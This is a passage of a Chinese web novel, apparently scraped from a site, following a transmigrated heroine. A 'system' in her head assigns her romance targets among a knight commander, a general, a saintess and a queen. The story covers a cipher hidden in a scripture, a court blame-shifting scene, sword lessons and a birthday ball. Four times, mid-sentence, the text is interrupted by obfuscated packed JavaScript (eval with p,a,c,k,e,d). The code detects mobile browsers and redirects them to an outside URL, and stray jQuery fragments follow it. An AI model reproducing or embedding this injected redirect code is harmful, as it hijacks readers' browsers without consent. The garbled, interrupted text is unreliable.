「当然不会,我为什么要主动给自己的秘密提供泄露渠道?」伊斯特一边用脚抵着柜子,把抽屉整个拽出来,让里面的东西全倒在床上,一边漫不经心地回道,「再说,哪怕不涉及隐私,别人看到我也尴尬死了。」
「那您在……?您是虐待家具有瘾吗?」
「用我以前的行话来说,这叫该摸的彩还是要摸的。对了,你知道找秘密文件的窍门吗?」
「找文件?」系统诚实地回答,「不知道。」
「找和藏都是一样的。刚入门的新手喜欢:门框橱后床板底,桌缝椅垫保险箱;进阶的就全面一点了:锁孔花坛插座板,灯管水道吸尘器——」伊斯特懒洋洋地拖长音调,「全扒开检查一遍,别说小型物品了,尸块都躲不过这么搜呢。」
她轻巧地放过床头柜,把衣橱大门呼的一声打开,「尤其常见的藏宝地这儿一大半都没有,更好找了。」
伊斯特指尖划过一件又一件缎面裙摆,「我想穿裤装只能去定了吗?不过有洛兰特这么大扇挡箭牌,家里应该也不会很反对就是了……啊。」
她从隔板夹缝间取出一个落了灰的小本子,抖了抖再翻开,轻声念起来。
【《本源圣训·源质之章》】
【其一:太初之时,九大本源立于此世。其为柱石,为伟力,支撑寰宇,守护万灵之核心。】
【其二:而后,本源各于凡尘拣选其特质最彰之人,降下权柄,寄寓其身。此九人,遂为源质之器皿。】
【其三:于是,九位源者临世。】
【其四:第一人,其心渴慕真知,乃智慧之化身。蒙其恩,世间知识如泉涌流,熠熠生辉,待渴求者汲取。】
【其五:第二人,其性温润良善,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886425|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
待世人以赤诚。蒙其恩,众人相交,心无芥蒂,情谊欢洽。】
【其六:第三人,其志恒在进取,永不止息于变革。蒙其恩,万物更迭推新,众生勤勉于行。】
【其七:第四人,其行刚正不阿,持守律例与界限。蒙其恩,世人得以明辨是非,知晓处世之正道。】
【其八:第五人,其思敏锐通达,善察时机之微妙。蒙其恩,众生受启迪,于合宜之时行当行之事。】
【其九:第六人,其心怀揣至高理想,信念之火永不熄灭。蒙其恩,世人方知投身伟业,为其信念竭力奋斗。】
【其十:第七人,其心存想望之翼,不囿于眼前困顿。蒙其恩,众生得以举目仰望,寻见指引之星穹。】
【其十一:第八人,其志攀登生命之巅,永无懈怠止步。蒙其恩,凡俗之人亦生高远志向,力行向上之途。】
【其十二:第九人,其性坚实如磐,精神刚毅不屈。蒙其恩,世人知晓当俯首耕耘,积跬步以致千里。】
她读到这儿就兴趣告竭了,目光扫过后面的篇幅,尽是些教导信徒如何在言行举止中效法九位源者,遵从他们道路的训诲。深色封皮右下角,一行小字烙印其上——“第七版,帝国教廷钦定颁行。”
「所以这是这个世界的圣经啊,这儿的主流宗教信这些真善美品质啊,那还蛮不错的。」伊斯特抖了抖扉页,赞美道。
她拾起藏在封皮和书册间那张白纸,「只会这一种藏法,一搜就出来了。」
伊斯特悠闲地比了比尺寸,把挖了孔的白纸对准折了角的第一页,按顺序读出孔内的单词。
“最前面的九和二明显是个日期嘛……”她根据语义补上了少许连接词,“九月二日,教堂,原时间见?”
按照计划搜出了秘密,她本应该开心才是,此刻却把这本子一抛,咚的一声躺在了床上。
天气都带点寒意了,绝对不是夏末秋初啊……
「宿主,今天是十一月二十三日。」
伊斯特用手捂住脸,无奈又好笑地叹了口气。
她上哪里去知道两个月前发生什么事了。
*
“伊斯特这周不管有什么安排都要推掉了,明天她跟我上朝议,周末去见骑士长。”
“唉,原本打算周末带她去外交大臣家拜访一下呢,他家次子和小伊差不多大。”
是相亲吗!她的潜在恋爱难道还不够多吗……伊斯特极力按住吐槽的欲望——这至少证明她没有婚约在身吧,接话试探:“我觉得我玩得好的同龄人挺多的。”
母亲嗔了她一眼:“我怎么不知道拉芙什么时候分裂成好几个人了?”
小姑娘这么孤僻啊,“拉芙的朋友也算我的朋友嘛。”她顺口敷衍道,“对了,你知道有什么人比较了解皇家花园内的备菜流程的吗?什么环节会有哪些人经手之类的?”
母亲的表情很奇怪,就好像她脸上突然长出了海葵:“……拉芙啊,她父亲是宫廷事务大臣。”
伊斯特差点被茶呛着。
在脑子里系统的嘲笑声中,她若无其事地放下茶杯,装作刚刚的对话没发生过。
“也是哦,”是个头,她上哪知道去,“那再见,我去找拉芙玩了。”
5. 第 5 章
宏伟的宫殿沐浴在日光中。穹顶高耸,绘着精美繁复的壁画,叫人恍惚间一抬头,便震撼生畏。拱形彩窗如此妍丽,就连光影穿过之后都更显剔透,变换着,跃动着,照亮了一尘不染的大理石地面。
深蓝色的厚重绒毯,错落有致地织着金色鸢尾纹章,从殿门笔直延伸铺张开,直至那高踞于数阶之上的王座,无声地划分着权力的疆界。
殿堂两侧,大臣们已按品秩肃立。各色华服交相辉映——天鹅绒的深红、墨绿,绸缎的宝蓝、银灰,流淌出若隐若现的刺绣纹样。殿内并非全然寂静,偶尔响起刻意压制的咳嗽声,袍袖摩擦时发出沙沙的轻响。然而,它们反而衬得此处更空旷,更肃穆了。
每一张看似严肃的面孔下,都有暗流涌动。目光如无形的丝线在空中交错、碰撞:有人紧盯着王座的方向,眼神里看似全然敬畏;有人低眉顺目,余光不着痕迹地扫过同侪面庞;还有人微微侧首,与邻近者交换一个转瞬即逝的眼神。
空气里弥漫着一种紧绷的期待,如同拉满的弓弦,等待着第一声引箭的呼啸。
王座由稀有的浅色硬木精雕而成,帝国的君主端坐其上,身影清晰而遥远。没有雷霆震怒,没有厉声呵斥,只有一种沉甸甸的威权,笼罩了这华美殿堂的每一寸空间。
与此同时,伊斯特站在旁边发呆。
倒不是她非要在这种庄重的场合搞特殊,只是人死了三十多次后就很难觉得什么东西要紧了。她把左边的壁画欣赏得差不多了,轻轻转了转脖子,正巧对上一双雪松绿的眼睛。
数米之遥,瑟亚铎不知道盯她多久了。此刻视线遥遥一碰,他不躲不闪,反倒对着她扬了扬嘴角,神情又傲慢又好整以暇,好像等着看她的戏。
哪来的小学生?
伊斯特毫不停留,流畅地把眼神移开了,就像对方只是她巡视过程中无意瞥见的一块障碍物。
这种“无意点开,退散”的态度很难不气人,余光里,那个淡金发丝的脑袋好像动了动。她权当这人不存在,转头和洛兰特无声地对话。
因为都是袭击的第一手见证人,她此刻站在骑士长侧后方。可能是来进宫开会的缘故,洛兰特今天没披铠甲,一身得体的马甲长裤。
伊斯特一边下定决心回去之后要学手语,一边悄悄抬起右手,搭上男人袖口。隔着细亚麻,她的指尖压上那片温热的肌肤;触感上颤了一下,她装作没注意到,只是缓慢地画了一个问号。
面对她怎么还不开始的疑问,对方似乎犯了难——很明显在未婚小姐手上写字有违他的行事准则,但是不回答这位小姐的问题更加不可接受。
最后,洛兰特对着大殿上某块空位使了个眼色,摇了摇头,示意她还有人没到。
伊斯特笑了,给他比了个大拇指。
就在这时,哒哒哒的脚步声由远及近,一听就知道它的主人没有刻意压着。紧接着,一道漆黑的人影走了进来。
伊斯特以前在文学作品里听过“杀气”这个说法,在现实生活中,她暂时还没当面遇到过,所以一直觉得这个形容可能夸张了——直到这一秒。
原来真的有只要遥遥看上一眼,就知道这家伙杀过很多人的类型啊。
来人暗色轻甲,黑衣黑裤,短发有些凌乱,好像来不及打理就出门了。即使在单膝跪地行礼时,那双暗红色的眼睛也没垂下去,箭矢似的又锐又寒,直直盯着前方。就连他面前的空气,都仿佛比平时流动更快了,试图逃离他的视线似的。
他看上去二十多,气质却很年轻:不是那种年少青涩,而是一种昭昭的气盛感——就好像如果他下决心要弄死你,绝对不会因为体力不足半途而废。
系统的提示音在她脑子里响了起来。
「恭喜宿主,成功遇见可攻略角色:
帝国将军——【捷柯】」
「怎么还是没有姓氏,我的投诉弄半天什么用都没有?」
「求您了,关注重点好吗?」
伊斯特从善如流地眯起眼睛,观察这个新人。
她突然记起来以前有个同事,每天都卡点到公司。那家伙口头禅是“我准时上下班活就能做完,那为什么要搞这些有的没的”,每天进门的时候,脸上都是一样的神情:对早到同事的不解,对内卷同事的嫌恶,还有一种慢条斯理的自傲。
为什么想到这个呢?因为在捷柯脸上,她分明看见了那个同事每天早上打卡时的表情。
……把他带入卡点上班的情境之后,连那种周身逸散而出的肃杀戾气都弱了不少。
原来不是他迟到而是剩下这群人太早了吗!你们在卷什么啊!一言不发地站在这里很好玩吗!
就在她在心里吐槽职场内卷的时候,系统又一声提示音。
「恭喜宿主,成功遇见可攻略角色:
教廷圣女——【奥妮克丝】。」
继独身主义骑士之后干脆来了个教徒吗!不要以为她不知道教会的神职人员连发誓都免了本来就不能谈恋爱啊!
伊斯特一边在心里辱骂系统,一边抬起头,看向来人。
然后她就愣住了。
银色长发的女子款款踏过绒毯,那双眼里的蓝色迷蒙,疏离,矜贵,又像雾又像烟,像尚未被尘世里的污浊沾上一点。她一身纯白长袍,剪裁比礼服还要雅致,缎面比裙摆还要柔软。
圣女柔身屈膝,嗓音和样貌一样迷人,雾似的质感:“请陛下恕罪,教廷内部清查完才敢觐见,耽误了些时间。”
伊斯特连脑子里都说不出话了。
直到奥妮克丝站到最后一个空位置上,她才勉强把死机的大脑重启完。
「宿主您原来喜欢这个类型的吗?」
「……单纯见色起意罢了,一照面能看出什么内在吗,何谈类型?」伊斯特大言不惭地陈述,接着转而质疑,「你都塞给我两个正常情况下毕生不步入婚姻的了,‘攻略’非要是爱情吗?我和某人做比恋人更亲密的挚友不行吗?」
「您可以试试。」系统礼貌回答。
这和直接说不行有什么区别啊喂!
*
一个项目出问题的时候,往往就是各部门开始互相推卸责任的时候。
如果责任推不走,很快就会演变为相互攻击。
很明显,这一点在此刻也适用。伊斯特眼睁睁看着面对险些引爆的安全漏洞,每个相关人员都站出来甩了一圈锅。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886426|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>最先出来的是那个将军——现在回忆一下,那天带军队来救场的估计就是他。捷柯慢悠悠地说明了自己本来也没权力保卫皇宫,“这么精细而光荣的职责”当然属于骑士。紧接着,他当众点了几个大臣的名字,冷笑着指出当初就是他们反对自己在城内有带兵权,然后干脆地把话柄甩了过来。
洛兰特回答时的态度和上一个发言人形成了鲜明对比。骑士长开口先罪己,蓝眼睛里全是真诚的自责和懊悔,就像天上掉下来块石头砸死人都是他的问题。
在一段既有诚意、又不冗长的告罪之后,他温和地指出,袭击者肯定是伪装在备餐班子里混进来的,如果这块的负责人能够核查清楚,甚至都不用他来挽救事态。
伊斯特挑眉,看了骑士长一眼。
说到底他本来也只是保卫嘛,做到这个份上已经很称职了,竟然还把问题往自己身上揽了一部分……她很久没见过这么正直的人了。
洛兰特结束发言,退后一步,正好对上她的眼睛。他望了回来,露出一个宽慰的微笑,好像生怕伊斯特为他忧虑。
在这两个完全没失职、甚至还有功劳的人依次发言之后,局势终于白热化了起来。王座上的君主看向宫廷事务大臣,面对掉脑袋的风险,后者再极力压抑也显得惶恐不安,脸色惨白地开始陈述。
这好像是拉芙家长?伊斯特稍微分出一点注意力,侧头看去。看面相,她觉得这人好像比自己父母严厉不少,在心里对拉芙产生了一些同情。
不过要是他一会儿被拖出去砍了,就没那么严厉了吧……那可以先搁置一下同情。
顺带一提,她今天早上终于弄清了家里是什么岗位:进来的时候她听人介绍自己是“财政大臣之女”。
她一边发呆一边断断续续地听,发现这个皮球竟然还在踢。正在发言的中年男人语气颤颤巍巍的,但是话里的意思很坚定,就差赌咒发誓了,宣称这次由于日子特殊,年关将近,他的部门忙不过来,教廷就接手了部分与皇宫相关的事宜——小型宴会的备菜也是其中之一。
伊斯特回神了。
被点到名字时,圣女也是同样一副神情:长长的眼睫依旧垂着,投下一层静谧的阴翳;她不惊,不惧,情绪淡得像片云雾,要不是眉眼间那股悲天悯人,恍惚间她仿佛要飘散开来。
“诚如所言,确实由教廷经手,”奥妮克丝声音很轻,却清清楚楚,“从人员,材料,到监察,都是我们负责。”
攻略对象死了还能成功吗?
“所有罪责,都该我一人承担才是。”
……她不会要为了救攻略对象自杀重来吧?
伊斯特扫视了一下周围,确信了一件事:再等等不知道会如何,但自己如果现在开口帮腔,一定没好下场。
就在她决断的时候,烟蓝色的视线不知何时动了,好像一片云雾轻轻笼了上来。
“但如果您宽宏大量、重施信任,我愿意带头追查。找不到幕后黑手,奥妮克丝自请死罪。”
在所有人凝目的聚焦处,在汹涌漩涡的正中心,白袍的圣女轻悠悠抬眼,在她身上一拂,露出今天的第一个微笑。
“请准许我带上那位发现端倪的小姐。”
6. 第 6 章
该不该接受?
如果她在这个世界经历的一切是一场电子游戏的话,这里一定是分歧点了。
伊斯特仿佛都能看到面前生出的两条道路,一条整齐干净,领向拒绝的置身事外、远离漩涡;一条遥遥通向未知、混乱,通向那片烟雾似的银蓝。
她侧头,看着奥妮克丝。
人类真的能生出这样美的相貌吗?
她一直觉得人是做不到毫无瑕疵的,这样虚幻的惊艳感应当属于别的事物:水母,雪原湖泊,将雨前的一角天空。
真可惜。
伊斯特提裙屈膝,礼数周全地婉拒:“我知道的事,已经一五一十、毫无遗漏地上报过了……再跟着调查,恐怕也起不到什么作用,徒增累赘。”
——她玩全收集游戏的时候,向来喜欢先打通简单的线路。
好像有极短暂的惊讶一闪而过。伊斯特没去理会:每个人正确概率相同的情况下,把耗时短的放在前面才是收益最高的做法嘛。鬼知道她什么时候能把教徒熬化了,还不如先走走简单的路线。
同样的道理,已婚的、看上去杀过很多人的、以及性格讨厌的,都可以往后稍稍。
*
周末到了。
这四个字向来对人类社会有一种独特的吸引力,就连一片白底,只要打上一行,都显得喜气洋洋。
当然,伊斯特不这么觉得。来这个世界之前,由于工作的特殊性,周末对她来说就不代表放假,来了之后,竟然还要加班。
「谢谢你给我安排了个衣食无忧的身份哈,不然平时要工作,现在就更没心思谈恋爱了。」
「您为什么道谢都显得这么阴阳怪气的?」系统越来越人性化了,「以及,您以前到底是干什么的?」
「正确的攻略对象是谁?」
「不能告诉您。」
「那我也不能告诉您。」伊斯特学舌讽刺道,「是这么走吧?」
不用系统回答,因为她看见出来接她的人了。
洛兰特向她招了招手,露出一个微笑,立刻叫人想到了晴天白日下的春风:“摩根那小姐。”
“早安。”伊斯特笑道。她今天一身骑装,头发在脑后扎成一个小揪,看上去轻盈又爽利。
“请跟我来,”他一边说,一边领着她穿过演武场,“今天不是训练日,所以这里只有我们两个。”
午后的阳光慷慨地洒下。刚修剪过的青草散发着清新的气息,几只白蝶在低矮的野花丛间翩跹。高大的橡树投下斑驳的荫凉,树影的边缘,洛兰特递给她一把木剑。
伊斯特接过,掂了掂,远没有枪重,举起来并不困难。
洛兰特站在那里,身姿挺拔,举手投足之间都蕴含着那种流畅的力量感,但神情却像天气一样温和。他手中也握着一柄训练用的木剑。
“我也是第一次做这种事,分到我手下的一般都有底子了……”他有点不好意思地解释道,下一句就变成了指令,“拿剑。”
伊斯特从善如流地握紧了剑柄。
“站稳,”洛兰特的声音不高,清晰而平稳,像拂过草叶的风,“双脚分开,与肩同宽。对,就是这样……膝盖放松,别绷太直。”他轻轻用剑尖点了点她的膝关节后侧,示意她调整。
伊斯特一边照做,一边又在心里骂了一遍系统把她送到这种落后的冷兵器时代。
“嗯,现在看着我,我们从刺学起。剑尖指向目标,手臂放松,力量从脚下起来,经过腰,传递到手臂……然后,向前刺出。不是用手臂推,是用整个身体‘送’出去。”
他示范了一次。木剑平稳地刺出,带着轻微的破空声,好像把半空中的阳光扎分开来了。
伊斯特学着刺出,动作不可避免地有些僵硬,剑尖微微颤抖。
“别急,”洛兰特走近一步,轻轻抬住她的手肘下方,“感觉这里的力。当你出手时,像要迈步,但脚别动。”
他指腹的热度,力道,连同一种温厚的稳定感,一同托起了初学者的青涩犹疑,让后者消融不见。伊斯特定了定神,再次尝试。这次,动作更加接近了标准示范。
“有进步。”洛兰特点了点头,“记住这个感觉,练到你的身体忘不了为止。”
他退后,给她留出空间。
很明显,骑士长说到做到,既然打算教她了,就练不好不准作罢。好在她不是来谈恋爱的,而是真的来学剑的,做好了坚持不懈的准备。
在系统「你再说一遍?!」的愤怒尖叫声中,伊斯特老老实实地练习了一下午。
*
伊斯特端着一杯香槟,站在原地发愣。
巨大的枝形水晶吊灯从天花板上垂下,成千上万支蜡烛的光芒在其中折射、跳跃,将整个大厅映照得如同白昼。大理石地面打磨如镜,倒映着璀璨的光影、华服的裙裾和宾客穿梭的身影。墙壁装饰着深红色的天鹅绒帷幔,用金流苏束起,露出墙上悬挂的霍尔家族肖像油画。
没错,她在杰奎琳家。身为一个贵族小姐,出席宴会就是kpi绩效,而这个项目比别的重要一点,连混日子的伊斯特都推不掉——杰奎琳今天十八了。
空气里飘散着无数鲜花的馥郁,偶尔混有侍者银托盘上飘来的诱人佳肴气息。乐师们在二楼露台上演奏着轻快优雅的旋律,弦乐声如同丝绸般流淌,萦绕在鼎沸的人声之上。水晶杯清脆的碰撞声不时响起,处处衣香鬓影,珠光宝气,充满了生机勃勃、令人微醺的奢华与欢庆。
一位贵妇人来向她打招呼,伊斯特经历了今晚第无数次寒暄,第七次说面前人的衣着是“今晚见过最漂亮的一套”,努力回忆来之前背的扇语,试图记起不同扇形代表什么。
在系统不情愿的提示下,她成功混了过去。作为庆祝,伊斯特有样学样地撑开扇面,遮住下半张脸,然后把大半杯酒一饮而尽。
「虽然我记不起刚刚那女人的手势是“来”还是“别问我”,但在我这里它叫“再来一杯”。」
伊斯特一边用空杯子换走了侍者托盘上的新高脚杯,一边对系统如是说道。
「她刚刚明明是“害羞但期待”,我不是提醒了吗,宿主您过耳就忘啊!您现在又在期待什么,酒吗……张开点!!」系统惨叫道,「角度太小会变成“可以亲吻我”!」
她从善如流地把扇子收了起来。
就在这时,宴会的主角终于出场了。
身为今晚的焦点,杰奎琳无疑是这璀璨星河中最明亮的一颗。她身着一袭火焰般耀眼的赤红渐变长裙,面料流光溢彩,行走间,裙摆仿佛荡起焰华。她穿梭于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886427|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宾客之间,接受着潮水般的祝福。
路过伊斯特的时候,寿星脸上完美的社交微笑差点没绷住:“你搞什么?”
“你为什么对我吹毛求疵?”伊斯特迷茫道,“我做什么都不对吗?”
杰奎琳深吸一口气,“你什么毛病!你就不能吃一块拿一块吗!”
伊斯特跟着她的视线,低头看了看自己盘子上叠在一起的三块拿破仑蛋糕。
她当机立断地转移了话题:“总而言之祝你生日快乐。”
“……你闭嘴我就快乐了。”
这个人真奇怪,明明她邀请自己过来的,现在一脸不开心……伊斯特一边吃舒芙蕾一边想。
当乐声暂歇,所有目光都聚焦到主位。一位气质卓然的女士缓缓起身。她的出现让原本喧闹的大厅瞬间安静下来,只余下烛火轻微的噼啪声。
伊斯特定睛一看,发现是攻略对象之一。
曼德琳手中并未持稿,开口时却很流利。
“杰奎琳,在你的成人礼兼诞辰,能献上祝福是我的荣幸。”
虽然表情平淡,但她的声音清晰、沉稳,带着一种独特的韵律感和恰到好处的庄重。
“愿你如那渴慕真知的星辰,永远怀抱对世界的好奇与探索之心,让智慧的光芒照亮前行道路。”
“愿你持守温润良善的本心,以真诚收获真情,在人生的羁旅中,常伴和暖欢洽的友谊。”
“愿你心怀不熄的理想之火,拥有为之奋斗的信念与勇气,在属于自己的天空下,展翅翱翔。”
“今夜,这满堂的华彩与欢笑,均是对你蓓蕾初绽的礼赞。愿九位源者的恩典常伴你左右,指引你、守护你,使你的人生篇章如同最华美的诗篇,充满希望、仁爱与力量。”
她的双眼敛了下去,像一片琥珀色的静潭:“生日快乐,亲爱的孩子。”
……还是什么性格都看不出来啊!
*
没过多久,伊斯特就被忍无可忍的寿星小姐赶到了会客室——今晚那里一个人都没有,完全是躲清闲的好地方。
“你就在里面坐着,我让人每种点心给你上两个好吧,”杰奎琳一边攥着她的胳膊,一边咬牙切齿地悄声说道,“你再呆下去,明天万一别人在背后议论你没礼仪呢?我是附和还是不附和?”
“你附和呗,我又不会少块肉……”伊斯特发现掐着自己的力度变大了,见好就收,“那拜拜,记得找人给我送本书看。”
她乐滋滋地一个人边吃零食边看书,甚至还自己动手把裙撑卸了,斜倚在三把椅子上,过得相当滋润。
就在这时,门吱呀一声开了。
她抬头,对方似乎也没想到这儿有人,两双眼睛对上后,同时睁大了。
曼德琳脸上还带着甩不去的倦容和疲色,暗橙色的羊绒披肩已经脱到一半了,搭在胳膊肘上。
完了,皇后该怎么称呼来着。
“嗨?”伊斯特拿着一块还没咬的起司酥饼,下意识地招呼道,“……你吃吗?”
「作为打招呼来说是不是有点太逊了。」系统吐槽到。
女人盯着她,愣了愣神,好像没想明白自己怎么走到这个情景里来的。
然后曼德琳径直走到空的椅子边,接过酥饼,坐下了。
7. 第 7 章
虽然很难相信,但是那天她和曼德琳吃的点心比说的单词还多。
两个人并排,一个斜斜歪着,腿散漫地伸出椅子,嘴上不停,一会儿翻一页书;一个一言不发地坐着,一口一口地慢慢吃。
她们俩竟然这么安静地度过了一个多小时。
宴会快结束的时候,伊斯特很有风度地率先站起来:“你先走吧,我把并起来的椅子搬回去。”
曼德琳看着她:“……多谢。”
“你话好少噢,”反正死不了,她顺从本心地调侃道,“陛下。”
出乎意料的是,曼德琳像个未出阁的小姐一样,下意识地道了一声歉。
“抱歉,”女人说完才意识到不太对,抿了抿唇,睫羽在琥珀色的眼睛上一闪而过,“……不知道该说什么。”
“别别别,别吓我,”伊斯特笑出声来,“你为什么不换个没人的房间?这里以前是你家吧?”
曼德琳一言不发地站在原地,嘴唇动了动,但是什么回答也没有。她刚刚进屋后把盘发解开了,此刻头微微垂着时,长长的红发也掩住了眉眼,只露出白皙的皮肤一角,叫人看不真切。
一闪而过的是水光吗?
“无意冒犯,你当我没问——”伊斯特见势不对,转移话题,“你为什么吃酥饼来着?”
「这个话题选得不太好。」系统点评。
「滚吧你。」“我的意思是,这儿的点心应该没皇宫的好吃吧?难道其实这里更好?”
系统一开口就停不下来:「这个解释也很牵强。」
曼德琳用手把鬓发撩到耳后,侧目看了她一眼;就算她刚刚有所失态,现在也看不出来了:“就不能是你邀请我了,我出于礼貌吃的?”
“有道理!”伊斯特海豹鼓掌起来,“好聪明!”
“……怪不得杰奎琳把你流放到这里来。”
“邀请,邀请。”
“好吧,邀请,”曼德琳顺着她改口,“那你要不要来?”
“来什么?”
“你不是说皇宫点心更好吃?”女人理所当然地一挑眉,“那你来尝尝吗?”
系统在她脑子里连连应声,恨不得接管她的嘴答应下来,但伊斯特犹豫了一下:又要练剑,又要学手语(「谁让你学这个了啊!」系统惨叫道),她空闲时间都不够了。
“我这段时间有点忙——”
“确实更好吃。”
“但是可以抽出时间,”伊斯特改口道,“我怎么去啊?敲门说我找你吗?”
曼德琳扶了扶额头。伊斯特这才发现她的红发带了点暖橘色调。正在她近距离观察对方头发的时候,女人往她手心里塞了个硬硬的牌子。
“我的令牌。”曼德琳言简意赅地说,“进门出示这个,说你找我,哪天来都可以。”
伊斯特盯着那个镶了红宝石的银制牌,又抬头看了看面前的女人。
“……从哪变出来的?你衣服也没口袋啊?”
曼德琳甚至都没费心回答这个抓不住重点的问题。
“给了我你怎么办啊?”伊斯特揣进袖子之前确认了一下,“你今晚能——无意冒犯——回去吗?”
女人短促地笑了一声,脸上什么表情都没有。
“回不去才好呢。”
*
伊斯特靠系统混过了大部分贵族小姐的日常,然后把全部的精力都放在了练剑上。
第一个周末回去的时候,她手腕都抬不起来了,权当自己是个残疾人,勉强用半只手生活了好几天。等稍微康复一点,又接着回去练了。
她就这么高强度练了小半个月。虽然两个人熟了不少,但洛兰特平时说话的时候风格还是没变,寒暄、称呼和委婉说辞一套不少,好像不称“您”就是他的极限了。
不过指导的时候,总是简洁而具体的祈使句:
“手腕再低一分。”
“肩膀放松,别耸着。”
“呼吸,出手的同时呼气。”
“眼睛看前方,别盯着剑尖。”
在单招学完之后,她开始连招。这时洛兰特会做她的陪练。木剑相交,发出清脆的“啪”声。他的格挡总是恰到好处,轻巧地弹开她的剑,力量控制得精妙,既不伤人,又让她清晰感受到接触瞬间。
阳光将两人的影子拉长,缓缓移动着。风吹过树梢,沙沙作响。空气中弥漫着青草香、阳光的味道,以及一种专注的宁静。每次微小的进步,每次眼神的交汇,都像投入平静湖面的小石子,荡开圈圈涟漪,微不可察,却经久不散。他们一起度过了一个个平凡的午后,因这对招的琅琅轻响,而显得格外温暖、悠长。
有一次不是练剑。
那是个阴天,伊斯特提着个小篮子下了马车,轻车熟路地走到树边,还没打招呼呢,感觉脸上凉凉的。她抬手一抹,好家伙,下雨了。
伊斯特把沾着水珠的指尖在洛兰特面前晃了晃,后者愣了愣:“雨水?”
“应该是。”
他轻轻叹了口气:“那我们换个地方。”
“好哦,我觉得那棵树密一点。”
洛兰特刚刚说话时就在脱外衣,此刻手上动作都停了,从深蓝色布料里抬头看了她一眼:“啊?”
伊斯特摸不着头脑:“不是吗?”
“当然不是。”骑士长板着脸,伸出手,示意她把手里的篮子递过来。
刚一接过篮子,他就把披风从后面一扬,盖住了伊斯特的头脸。
“淋雨要感冒的,”洛兰特依旧板着脸,一手提着东西,一手牵着她,“跟我去室内。”
她被厚重的披风压得没话说,老老实实地跟着走到了屋檐内。伊斯特环顾四周,看见圆桌、椅子和装修简洁的墙壁:“这儿哪啊?”
“议事厅。”洛兰特耐心解释道,为她拉开一张椅子,“平时骑士团会在这里开会,制定执行方略什么的。”
“哇,国家大事,”伊斯特啧啧称奇,“那我进来没事吗?不会占用你们的地方吗?”
“不用担心,今天北方邻国的女王
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886428|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来访,他们忙还来不及,不会有空来开会的。”
“那你怎么在这里教我啊!”她后知后觉地一扭头,“……我占用帝国资源了吗?”
“是你先来找我的,怎么能因为后发生的事耽误?”洛兰特温声说,“再者,今天护卫是平时的两倍,本来也用不上我。”
伊斯特笑了:“那我们今天干嘛?聊天吗?”
“如果你希望的话。”洛兰特把篮子打开,把里面的东西取出来,对着那串还沾着水珠的葡萄叹了口气,“摩根那小姐,真的不用费这个心。”
“上门拜访还要拎礼物呢,没道理我一天一天地来找你什么都不带吧?”伊斯特理所当然地反驳道,“又不是我种的,甚至都不是我亲手洗的,哪里就费心了?”
骑士长恭敬不如从命地收下了。
于是他们俩面对面坐着,对着一串葡萄开始聊天。伊斯特用手撑着脑袋,慢悠悠地吃葡萄;洛兰特倒是没有吃,一边听她说话,一边手上没闲着,剥起果皮。
“我听母亲说你述职的那天立了誓?立的什么呀?”她权当不知道。
洛兰特的动作一顿。
“我五岁的时候,高烧不退。家里境况不好,买不起药,父母抱着我四处求医,在经过教堂时,被石子绊倒了,一脱手把我摔在地上。那时我烧得昏迷不醒,所以这些是转述……听说当时,我满头满脸都是血。”
他半闭上眼,撩起额头下方的发丝,身子越过桌子前倾,给伊斯特看那一道浅而长的白色疤痕。
“在那个时候,他们大约是知道,这个孩子留不下了——唯一的区别是,由死亡带走,还是由别的人……我想,父母大概是盯着绊倒人的地面,又看向教堂,受了启迪。”
“主教出门时正巧见到仰躺在地上、半死不活的我。我运气极好,唱诗班还差一个孩子,而我有一张并不难看的脸。”
日光从斜窗洒入室内,为他俊朗的侧脸镀上一层浅金亮芒;在这样平静的氛围中,洛兰特继续讲述道。
“我再次睁开眼睛时,一切都变了。教堂穹顶上是帝国的鸢尾徽记,那是我看见的第一样事物。有了它,我才得了新生,并且一路走到今日。”
“在述职时我发誓,此生独身一人,不耽于情爱,将己身完完全全投入为帝国的奉献中……”他递过来剥了半边的葡萄,示意伊斯特拿着有皮的那半边,“此时也是同样的。”
“真的吗?”伊斯特歪了歪头,“如果你遇到喜欢的人呢?”
